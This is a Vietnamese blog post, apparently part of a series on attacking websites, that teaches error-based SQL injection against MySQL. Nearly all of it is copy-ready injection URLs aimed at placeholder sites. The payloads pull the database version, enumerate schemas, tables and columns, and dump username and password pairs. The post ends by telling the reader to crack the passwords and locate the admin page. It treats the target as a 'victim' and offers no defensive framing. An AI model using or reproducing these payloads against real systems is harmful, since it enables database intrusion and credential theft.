logo logo

The next-generation blog, news, and magazine theme for you to start sharing your stories today!

The Blogzine

Save on Premium Membership

Get the insights report trusted by experts around the globe. Become a Member Today!

View pricing plans

New York, USA (HQ)

750 Sing Sing Rd, Horseheads, NY, 14845

Call: 469-537-2410 (Toll-free)

hello@blogzine.com
Code

cách thức tấn công website P05 - Error based injection .

Bạn có thể sử dụng phương pháp này khi bạn nhận được thông báo lỗi như: Error #1604 The Used Select Statements Have A Different Number Of Columns. Unknown column 1 in order clause. 1. Get vers…

avatar
Giaodien.blog

Nhà thiết kế Web


  • 18/04/2016
  • Views

Bạn có thể sử dụng phương pháp này khi bạn nhận được thông báo lỗi như:

Error #1604
The Used Select Statements Have A Different Number Of Columns.
Unknown column 1 in order clause.

1. Get version,database

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

Hoặc

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select concat(version())) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+


Chú ý: Nếu 2 query trên mà nhận được thông báo như sau


Nghĩa là victim sử dụng sql ver 4, vậy ta có querry như sau:

http://site.com/view_product.php?id=242 or 1 group by concat_ws(0x7e,version(),user(),database(),floor(rand(0)*2)) having min(0) or 1--+

Kết quả:


* Muốn biết có bao nhiêu database tất cả ta dùng query

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,count(schema_name),0x27,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

ví dụ sau khi querry nó hiện như sau:


Như vậy chúng ta có thể xác định là có 1 database

- Tiếp theo chúng ta sẽ đi tìm tên của database:

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,concat(schema_name),0x27,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

Ở đây các bạn cần chú ý: limit 0,1
Các bạn tăng dần nó lên cho đến khi đã khai thác hết tên database 
Ví dụ như ở trên ta biết có 2 database thì ta tăng dần: limit 0,1 limit 1,1 
Cứ như vậy query tiếp, nếu có nhiều database hơn thì tăng giá trị limit lên thôi: limit N,1

2. Khai thác tables
- Check xem có bao nhiêu tables

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,count(table_name),0x27,0x7e) from information_schema.tables where table_schema=0x{hex-database-name} 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

Ở đây ta cần chú ý: hex-database-name chính là tên database dưới dạng mã hex (Cái này mình đã nói ở chap sqli căn bản, bạn nào không rõ thì đọc lại nhé)

- Check tên các tables

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,concat(table_name),0x27,0x7e) from information_schema.tables where table_schema=0x{hex-database-name} 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

3. Get column

- Check xem có bao nhiêu column

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,count(column_name),0x27,0x7e) from information_schema.columns where table_schema=0x{hex-database-name} and table_name=0xhex-tables-name 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

* chú ý: hex-tables-name là tên tables dưới dạng mã hex

- Check tên các column

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,concat(column_name),0x27,0x7e) from information_schema.columns where table_schema=0x{hex-database-name} and table_name=0xhex-tables-name 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

- Giả sử ta check được các column sau: id,username,password

http://www.site.com/artist.php?i=36' and+(select 1 from(select+count(*),concat((select+concat(username,0x3a,password) from tables-name+limit+0,1),floor(rand(0)*2))x from information_schema.tables+group by x)a) and 1=1--+

* Chú ý: tables-name là tên tables chứa các column mà ta đang khai thác, các bạn nhớ thay nhé @_@

Sau câu query trên chúng ta sẽ tìm được thứ ta muốn, công việc tiếp theo là crack pass và tìm link admin thôi.

Related post


avatar

Giaodien.blog

Nhà thiết kế Web
View Articles

Tôi là admin trang Giaodien.blog là một người có đam mê với Blogspot, kinh nghiệm 5 năm thiết kế ra hàng trăm mẫu Template blogpsot như" Bán hàng, bất động sản, landing page, tin tức...

Share this article